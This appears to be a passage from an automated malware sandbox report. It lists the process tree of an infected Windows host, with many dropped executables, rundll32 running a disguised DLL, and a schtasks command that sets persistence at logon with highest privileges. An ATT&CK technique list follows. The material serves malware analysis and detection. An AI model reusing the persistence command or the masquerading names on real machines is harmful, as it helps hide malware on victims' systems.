  "C:\Users\Admin\AppData\Roaming\6198446.scr" /S
  2⤵
  PID:1576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2684 -ip 2684
1⤵
PID:5336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1596 -ip 1596
1⤵
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1536 -ip 1536
1⤵
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1488 -ip 1488
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:5348

C:\Users\Admin\Pictures\ADOBEF~1\EGDFT9~1.EXE
C:\Users\Admin\Pictures\ADOBEF~1\EGDFT9~1.EXE
1⤵
PID:5248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 5404 -ip 5404
1⤵
PID:1364

C:\Users\Admin\Pictures\ADOBEF~1\LVSRYB~1.EXE
C:\Users\Admin\Pictures\ADOBEF~1\LVSRYB~1.EXE
1⤵
PID:2920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1816 -ip 1816
1⤵
PID:6500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2176 -ip 2176
1⤵
PID:6932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1240 -ip 1240
1⤵
PID:6228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5712 -ip 5712
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6736
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1184
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1184 -s 456
    3⤵
    - Program crash
    PID:5700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1184 -ip 1184
1⤵
PID:6564

C:\Users\Admin\AppData\Local\Temp\3B45.exe
C:\Users\Admin\AppData\Local\Temp\3B45.exe
1⤵
PID:968
- C:\Users\Admin\AppData\Local\Temp\3B45.exe
  C:\Users\Admin\AppData\Local\Temp\3B45.exe
  2⤵
  PID:6764

C:\Users\Admin\AppData\Local\Temp\5D16.exe
C:\Users\Admin\AppData\Local\Temp\5D16.exe
1⤵
PID:6272

C:\Users\Admin\AppData\Local\Temp\7FF1.exe
C:\Users\Admin\AppData\Local\Temp\7FF1.exe
1⤵
PID:5856
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 292
  2⤵
  - Program crash
  PID:5504

C:\Users\Admin\AppData\Local\Temp\882F.exe
C:\Users\Admin\AppData\Local\Temp\882F.exe
1⤵
PID:1352

C:\Users\Admin\AppData\Local\Temp\fl.exe
C:\Users\Admin\AppData\Local\Temp\fl.exe
1⤵
PID:784
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fl.exe"
  2⤵
  PID:13924
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"
    3⤵
    PID:14808
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"
      4⤵
      Creates scheduled task(s)
      PID:15048
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services32.exe"
    3⤵
    PID:4452
  - - C:\Users\Admin\AppData\Roaming\services32.exe
      C:\Users\Admin\AppData\Roaming\services32.exe
      4⤵
      PID:5460
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Roaming\services32.exe"
        5⤵
        
        PID:9316

C:\Users\Admin\AppData\Local\Temp\A388.exe
C:\Users\Admin\AppData\Local\Temp\A388.exe
1⤵
PID:7004
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7004 -s 276
  2⤵
  - Program crash
  PID:14396

C:\Users\Admin\AppData\Local\Temp\ACB1.exe
C:\Users\Admin\AppData\Local\Temp\ACB1.exe
1⤵
PID:5776
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 276
  2⤵
  - Program crash
  PID:14580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5856 -ip 5856
1⤵
PID:1088

C:\Users\Admin\AppData\Local\Temp\B4E0.exe
C:\Users\Admin\AppData\Local\Temp\B4E0.exe
1⤵
PID:5196

C:\Users\Admin\AppData\Local\Temp\B9E2.exe
C:\Users\Admin\AppData\Local\Temp\B9E2.exe
1⤵
PID:2184

C:\Users\Admin\AppData\Local\Temp\BCB2.exe
C:\Users\Admin\AppData\Local\Temp\BCB2.exe
1⤵
PID:8508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 7004 -ip 7004
1⤵
PID:14268

C:\Users\Admin\AppData\Local\Temp\F41E.exe
C:\Users\Admin\AppData\Local\Temp\F41E.exe
1⤵
PID:14444
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 14444 -s 240
  2⤵
  - Program crash
  PID:1784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5776 -ip 5776
1⤵
PID:14476

C:\Users\Admin\AppData\Local\Temp\FCD9.exe
C:\Users\Admin\AppData\Local\Temp\FCD9.exe
1⤵
PID:14604
- C:\Users\Admin\AppData\Local\Temp\FCD9.exe
  C:\Users\Admin\AppData\Local\Temp\FCD9.exe
  2⤵
  PID:15096
- C:\Users\Admin\AppData\Local\Temp\FCD9.exe
  C:\Users\Admin\AppData\Local\Temp\FCD9.exe
  2⤵
  PID:1316

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:14712
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9B7C380FD63E7946B3A020F99BAA71B3 C
  2⤵
  PID:15324
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 490C2AAC6659EDCC179C1334279A375B
  2⤵
  PID:7184
- - C:\Windows\svchost.com
    "C:\Windows\svchost.com" "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    PID:7492
  - - C:\Windows\SysWOW64\taskkill.exe
      C:\Windows\SysWOW64\taskkill.exe /im AdvancedWindowsManager* /f
      4⤵
      Kills process with taskkill
      PID:7564
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5646B355642DD6D97609ACAADA4F7B2C E Global\MSI0000
  2⤵
  PID:9308

C:\Users\Admin\AppData\Local\Temp\C0D.exe
C:\Users\Admin\AppData\Local\Temp\C0D.exe
1⤵
PID:15056
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 15056 -s 276
  2⤵
  - Program crash
  PID:4964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 14012 -ip 14012
1⤵
PID:15152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 14060 -ip 14060
1⤵
PID:15176

C:\Users\Admin\AppData\Local\Temp\1536.exe
C:\Users\Admin\AppData\Local\Temp\1536.exe
1⤵
PID:15268
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 15268 -s 280
  2⤵
  - Program crash
  PID:6488

C:\Users\Admin\AppData\Local\Temp\1C6B.exe
C:\Users\Admin\AppData\Local\Temp\1C6B.exe
1⤵
PID:1888
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 412
  2⤵
  - Program crash
  PID:5800

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6964
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1192
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 448
    3⤵
    - Program crash
    PID:6756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1192 -ip 1192
1⤵
PID:5688

C:\Users\Admin\AppData\Local\Temp\2228.exe
C:\Users\Admin\AppData\Local\Temp\2228.exe
1⤵
PID:4076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1888 -ip 1888
1⤵
PID:7036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 15056 -ip 15056
1⤵
PID:3096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 15268 -ip 15268
1⤵
PID:3508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 14444 -ip 14444
1⤵
PID:3800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Change Default File Association

T1042

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery